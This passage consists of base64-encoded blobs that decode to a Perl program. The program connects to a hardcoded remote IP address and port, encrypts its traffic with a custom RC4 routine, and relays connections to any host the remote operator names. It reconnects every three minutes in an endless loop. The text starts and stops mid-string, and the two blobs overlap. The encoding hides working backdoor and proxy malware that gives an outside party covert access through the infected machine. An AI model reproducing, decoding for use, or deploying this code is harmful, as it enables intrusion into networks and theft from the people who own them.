uZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODEnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQk